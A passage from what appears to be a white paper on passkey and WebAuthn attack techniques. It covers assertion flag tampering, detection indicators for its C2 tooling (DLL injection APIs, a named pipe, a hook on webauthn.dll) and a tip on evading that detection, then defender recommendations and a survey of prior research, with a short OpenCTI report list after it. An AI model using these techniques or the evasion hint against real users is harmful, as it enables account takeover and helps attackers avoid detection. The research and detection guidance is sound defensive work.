interaction.The attacker forwards the resulting assertion to the relying party, authenticates as the victim, and bypasses the verification the relying party believed it had enforced. The fix lives at registration time:a passkey can be registered as *always requiring user verification*, so that the authenticator enforces UV on every assertion regardless of what the request flags say.Relying parties and authenticator implementers should adopt this protection — and, more generally, never trust client-supplied UV and UP flags to be unmodified in transit.[2] The [Passkey Injector](#) tool, together with the [DSInternals Passkey UI](#) application, can perform this attack.A penetration tester can simply modify the UV and UP parameters of an assertion request and attempt to authenticate, observing whether the user is actually prompted for verification — a quick way to check whether a given relying party or authenticator is still vulnerable. {65}------------------------------------------------ # 4 Operations Security (OPSEC) ## 4.1 Motivation This section catalogs the forensic and telemetry artifacts our tooling leaves behind.We present them from two angles at once:as OPSEC considerations for red teamers weighing the risk of these techniques, and as detection opportunities for defenders who want to catch them. ## 4.2 Passkey Injector Detection The `Passkey Injector` is a standalone WebView2 application, so it does not inject into the victim's browser or operating system the way the C2 tooling does.Its tells are instead in the web page content:because the injector rewrites the WebAuthn ceremony from inside the WebView, relying parties and client-side defenses can watch for the bridge it injects and for WebAuthn calls that are serviced by something other than a genuine platform API. - JavaScript injection - `chrome.webview.hostObjects.webAuthnBridge` ## 4.3 SharpPasskeys Detection `SharpPasskeys` runs as a C2 payload on the victim host and is by far the noisiest component.Each of the following is a strong detection signal on a managed endpoint, and an EDR that correlates several of them at once can identify this tooling with high confidence: - WebAuthn API usage by non-browser applications - Applications accessing the `Microsoft-Windows-WebAuthN/Operational` event log - Enumeration of main window handles of running processes - DLL injection (`CreateRemoteThread`, `VirtualAllocEx`, `WriteProcessMemory`) - Named pipe for SharpPasskeys <=> WebAuthnHook communication (`\\.\pipe\WebAuthnHook`) - `dnMerge` usage for producing single-file executables The `SharpPasskeys` app supports the `--named-pipe` argument to specify a custom named pipe for communicating with the hook, which can be used to evade detection based on the default `\\.\pipe\WebAuthnHook` name. The DLL injection capability only serves as a proof of concept and was implemented in the most straightforward way possible, using the classic `CreateRemoteThread` technique.C2 agents like Apollo or Beacon support more sophisticated injection techniques that do not rely on these noisy APIs.We therefore did not want to duplicate and maintain those capabilities in our tooling. {66}------------------------------------------------ ## 4.4 WebAuthn API Hook Detection The WebAuthn Hook uses [Microsoft Detours](#) to splice itself into `webauthn.dll` inside browser processes.Some EDRs are able to detect this kind of userland hooking through static signature-based analysis, code-integrity checks that verify the integrity of loaded modules, or specific monitoring of known hooking techniques.An unexpected hook on the WebAuthn assertion entry point or on the library loaders below is particularly suspicious: - [WebAuthNAuthenticatorGetAssertion](#) - [LoadLibraryW](#) - [LoadLibraryExW](#) {67}------------------------------------------------ # 5 Conclusion ## 5.1 Summary This white paper has described three vulnerabilities in the WebAuthn ecosystem, along with more than 20 novel passkey attack techniques.The supporting tooling is open source and can be used to reproduce the attacks, test defenses, and validate mitigations. Despite our findings, we remain optimistic about the security of passkeys.The use of passkeys is still a significant improvement over passwords, and we encourage organizations to adopt them as soon as possible.For high-value accounts, we recommend using device-bound passkeys instead of synced ones, and enforcing attestation to ensure that only genuine and approved authenticators are used. ## 5.2 Recommendations for Web Application Developers - Properly implement all server-side checks according to the WebAuthn specification, including the detection of replayed challenges and cloned device-bound passkeys.[1] - Conduct penetration tests of your WebAuthn implementation.- Prefer using robust WebAuthn SDKs instead of building custom solutions.- Consider binding the WebAuthn challenges to user sessions.- Do not store sensitive authentication data in logs. ## 5.3 Recommendations for Pentesters and Red Teamers - Test the security of passkey implementations in your engagements.- Test for replay and relay vulnerabilities.- Test assertion tampering (UV and UP flags, signature, counter...). ## 5.4 Recommendations for IT Administrators - Update Windows 11 to the latest version.- Do not rely solely on the phishing-resistant multi-factor authentication requirement in conditional access policies for high-value identities and applications.- Block execution of unauthorized applications.- Block installation of unsanctioned browser extensions.- Stay alert and do not confirm unexpected passkey prompts.- Enforce passkey attestation for high-value users.- Detect WebAuthn usage by non-browser apps using Windows Event Logs.- Detect passkey registration using Microsoft Graph and Okta APIs. {68}------------------------------------------------ # 6 Previous Research ## 6.1 Papers and Talks ### 6.1.1 Passkeys Pwned:Turning WebAuthn Against Itself Researchers from SquareX Labs (now part of Zscaler) [created a malicious browser extension](#) that proxies WebAuthn calls inside the browser.[8] Their attack replaces legitimate registration requests with attacker-controlled key pairs and can later fake passkey authentication through the same compromised browser layer. ### 6.1.2 Your (Synced) Passkey is Weak The [Your$Synced$ Passkey is Weak](#) project by Allthenticate focuses on phishing and account takeover risks introduced by synced passkeys.[9] Its Chrome Password Manager and Bitwarden demonstrations show that once a password-manager or platform account is compromised, synced passkeys can be exported, imported elsewhere, or deleted from the victim's vault.This matches the academic comparison of device-bound and synced passkeys [10], which frames credential syncing as moving much of the security burden from the authenticator hardware to the passkey provider and its account-recovery model. ### 6.1.3 Security Issue with Bluetooth Low Energy (BLE) Titan Security Keys Older Google Titan U2F Security Keys using Bluetooth Low Energy (BLE) were found to [contain a vulnerable implementation of the Bluetooth pairing protocol](#), allowing attackers in proximity to intercept and manipulate communications between the key and the host device.[11] ### 6.1.4 A Side Journey to Titan NinjaLab's [A Side Journey To Titan](#) paper [12] describes a side-channel vulnerability in the cryptographic implementation of the Google Titan Security Key's secure element (CVE-2021-3011).The authors show how to use a custom lattice-based attack to fully recover an ECDSA private key from the Google Titan Security Key. ### 6.1.5 How Not to Handle Keys:Timing Attacks on FIDO Authenticator Privacy Researchers from Macquarie University presented a [remote timing attack on FIDO2 authenticators](#) [13] that measures small differences in how a token processes key handles to tell whether the same physical authenticator is registered to several online accounts.FIDO2 normally hides this by issuing a separate key pair for each service, so two relying parties cannot correlate the same user; the timing leak undermines that privacy guarantee.Two of eight tested L1-certified hardware tokens were vulnerable via JavaScript through the WebAuthn API, and browser-side deduplication of the `allowCredentials` list can mitigate the issue. {69}------------------------------------------------ ### 6.1.6 HiPass:Hijacking CTAP in Passkey Authentication In the [HiPass:Hijacking CTAP in Passkey Authentication](#) paper [14], the authors analyze man-in-the-middle attacks against the Client-to-Authenticator Protocol (CTAP) path used during passkey authentication.Their implementation connects a victim's authenticator to the attacker's computer over Bluetooth and hijacks the victim's passkey authentication session, highlighting the client-authenticator transport as a separate attack surface from relying-party verification bugs. ### 6.1.7 FIDO2 Deception Attack via Overlays exploiting Limited Display Authenticators In the [Breaching Security Keys without Root:FIDO2 Deception Attacks via Overlays exploiting Limited Display Authenticators](#) (FIDOLA) paper [15], the authors show that because most FIDO2 security keys have little or no display, the user cannot tell what they are actually approving when they perform the physical presence test.Their FIDOLA attack framework exploits this by drawing a deceptive screen overlay on the client — without root or other OS-level privileges — so that a victim who thinks they are confirming a legitimate action instead completes an attacker-initiated WebAuthn/CTAP2 ceremony, enabling both same-service and cross-service attacks against 2FA and passwordless setups.In their user study, roughly 95% of participants approved the cross-service overlay attack. ### 6.1.8 PIN Bypass in Passwordless WebAuthn Schuermann and Breitmoser described a [PIN bypass in passwordless WebAuthn on microsoft.com and Nextcloud](#).[7] The core issue was relying on the browser-side `userVerification` option instead of verifying that the signed `WebAuthnAuthenticatorData` actually had the UV flag set.Their write-up is directly relevant to assertion tampering:a relying party that treats “PIN was requested” as equivalent to “user verification was cryptographically proven” can accidentally accept single-factor assertions in a passwordless flow. ### 6.1.9 Bypassing Windows Hello Without Masks or Plastic Surgery CyberArk Labs' [Windows Hello facial-recognition bypass](#) research describes CVE-2021-34466, where a custom USB camera injected captured infrared frames into the biometric pipeline.[16] Although the work targets Windows Hello rather than WebAuthn directly, it is relevant because Windows Hello is also a platform authenticator, and the attack demonstrates how local biometric verification can fail when the trusted input path is spoofable. {70}------------------------------------------------ ### 6.1.10 Authentication Method Downgrade The [Hook, Line and Sinker:Phishing Windows Hello for Business](#) article describes how a custom Evilginx phishlet can be used to hide the Windows Hello for Business option from the Entra ID method list, downgrading the victim to a phishable fallback (password plus push, SMS, or TOTP) whose session cookie can then be replayed.[17] ### 6.1.11 From Passwords to Passkeys:Enhancing Security and Testing with 'Passkey Raider' From Passwords to Passkeys:Enhancing Security and Testing with 'Passkey Raider' — a talk by Pichaya Morimoto (Siam Thanat Hack Co., Ltd.) at CYBERSEC ASIA 2025.[18] The talk introduces [Passkey Raider](#), a Burp Suite extension that turns the proxy into a software authenticator under the tester's control.It decodes WebAuthn fields from intercepted requests, generates its own key pairs (RS256, ES256, EdDSA), swaps in attacker-controlled public keys during registration, and re-signs tampered authentication requests so they remain cryptographically valid — making it straightforward to fuzz server-side challenge, origin, signature counter, and replay checks. ## 6.2 Related Tools ### 6.2.1 Passkey Raider [Passkey Raider](#) is a Burp Suite extension for testing and manipulating passkey authentication flows. ### 6.2.2 [passkeys.tools](#) [passkeys.tools](#) is an analysis and debugging platform for passkey implementations, developed at Ruhr University Bochum.The team also identified many web applications that fail to properly implement WebAuthn server-side checks.[19] ### 6.2.3 Entra ID Synced Passkey Login Fabian Bader's [Invoke-EntraIDPasskeyLogin.ps1](#), part of the [TokenTacticsV2](#) toolkit, performs a non-interactive Entra ID sign-in using a WebAuthn private key extracted from a synced vault (Bitwarden, 1Password, KeePassXC) and returns OAuth tokens usable against Microsoft Graph.The [Invoke-EntraPasskeyInjection.ps1](#) script is our modified variant of the original script. {71}------------------------------------------------ # 7 Bibliography - [1] World Wide Web Consortium, "Web authentication:An API for accessing public key credentials – level 3," World Wide Web Consortium, W3C Candidate Recommendation Snapshot CR-webauthn-3-20260526, May 2026.Accessed:Jul.01, 2026.[Online].Available: - [2] FIDO Alliance, "Client to authenticator protocol (CTAP)," FIDO Alliance, Proposed Standard, Jul.2025.Accessed:Jul.01, 2026.[Online].Available: - [3] Microsoft Corporation, "webauthn.h." Microsoft WebAuthn API header.Accessed:Jul.01, 2026.[Online].Available: - [4] Microsoft Corporation, "[MS-RDPEWA]:Remote desktop protocol:WebAuthn virtual channel protocol," Microsoft Corporation, Open Specifications Protocol Document 3.0, Mar.2026.Accessed:Jul.01, 2026.[Online].Available:[https://learn.microsoft.com/en-us/openspecs/windows\\_protocols/ms-rdpewa/68f2df2e-7c40-4a93-9bb0-517e4283a991](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpewa/68f2df2e-7c40-4a93-9bb0-517e4283a991) - [5] K.Gandhirajan, "Engineering secure passkey sync in microsoft password manager." Microsoft Edge Blog, Apr.2026.Accessed:Jul.01, 2026.[Online].Available: - [6] FIDO Alliance, "Credential exchange format," FIDO Alliance, Proposed Standard, Mar.2026.Accessed:Jul.01, 2026.[Online].Available: - [7] D.Schürmann and V.Breitmoser, "PIN bypass in passwordless WebAuthn on microsoft.com and Nextcloud." Hardware Security SDK, Aug.2020.Accessed:Jul.01, 2026.[Online].Available: - [8] SquareX Labs, "Passkeys pwned:Turning WebAuthn against itself." SquareX Labs, Aug.2025.Accessed:Jul.01, 2026.[Online].Available: - [9] C.Spensky, "Your passkey is weak:Phishing synced passkeys is still possible." Allthenticate, presented at DEF CON 33, Aug.2025.Accessed:Jul.01, 2026.[Online].Available: - [10] A.Büttner and N.Gruschka, "Device-bound vs.Synced credentials:A comparative evaluation of passkey authentication," in *Proceedings of the 11th international conference on information systems security and privacy*, SCITEPRESS - Science; Technology Publications, 2025, pp.651–659.doi:10.5220/0013380600003899.- [11] C.Brand, "Advisory:Security issue with bluetooth low energy (BLE) titan security keys." Google Online Security Blog, May 2019.Accessed:Jul.01, 2026.[Online].Available: - [12] T.Roche, V.Lomné, C.Mutschler, and L.Imbert, "A side journey to titan," in *30th USENIX security symposium (USENIX security 21)*, USENIX Association, Aug.2021, pp.231–248.Available: {72}------------------------------------------------ - [13] M.Kepkowski, L.Hanzlik, I.Wood, and M.A.Kaafar, "How not to handle keys:Timing attacks on FIDO authenticator privacy," *Proceedings on Privacy Enhancing Technologies*, vol.2022, no.4, pp.705–726, 2022, doi:[10.56553/popets-2022-0129](https://doi.org/10.56553/popets-2022-0129).- [14] D.Kim, J.Shin, G.Ryu, and D.Choi, "HiPass:Hijacking CTAP in passkey authentication," *IEEE Access*, vol.13, pp.92086–92101, 2025, doi:[10.1109/access.2025.3570377](https://doi.org/10.1109/access.2025.3570377).- [15] A.T.Mahdad, M.Jubur, and N.Saxena, "Breaching security keys without root:FIDO2 deception attacks via overlays exploiting limited display authenticators," in *Proceedings of the 2024 on ACM SIGSAC conference on computer and communications security*, in CCS '24.ACM, 2024, pp.1686–1700.doi:[10.1145/3658644.3690286](https://doi.org/10.1145/3658644.3690286).- [16] O.Tsarfati, "Bypassing windows hello without masks or plastic surgery." CyberArk Labs, Jul.2023.Accessed:Jul.01, 2026.[Online].Available: - [17] Y.Smirnov, "Hook, line and sinker:Phishing windows hello for business." Medium, Mar.2024.Accessed:Jul.01, 2026.[Online].Available: - [18] P.Morimoto, "From passwords to passkeys:Enhancing security and testing with 'Passkey Raider'." Talk at CYBERSEC ASIA 2025, 2025.Accessed:Jul.01, 2026.[Online].Available: - [19] L.Jannett, A.Mayer, M.Westers, V.Mladenov, C.Mainka, and J.Schwenk, "The state of passkeys:Studying the adoption and security of passkeys on the web," in *35th USENIX security symposium (USENIX security 26)*, USENIX Association, Aug.2026.Available: [comment]:<> (===END_PAGE 1===) ----------------

Report Title↓	Published Date	TLP Level	Admiralty Code	Threat Score	Created By
Pass the Passkey	2026-08-21	TLP:CLEAR	ADMIRALTY:A1	72	OpenCTI
ClickFix: The Gift That Keeps On Giving	2026-07-01	TLP:GREEN		70	OpenCTI
Akira Ransomware Killchain	2026-05-28	TLP:GREEN		72	OpenCTI

OpenCTI

Reports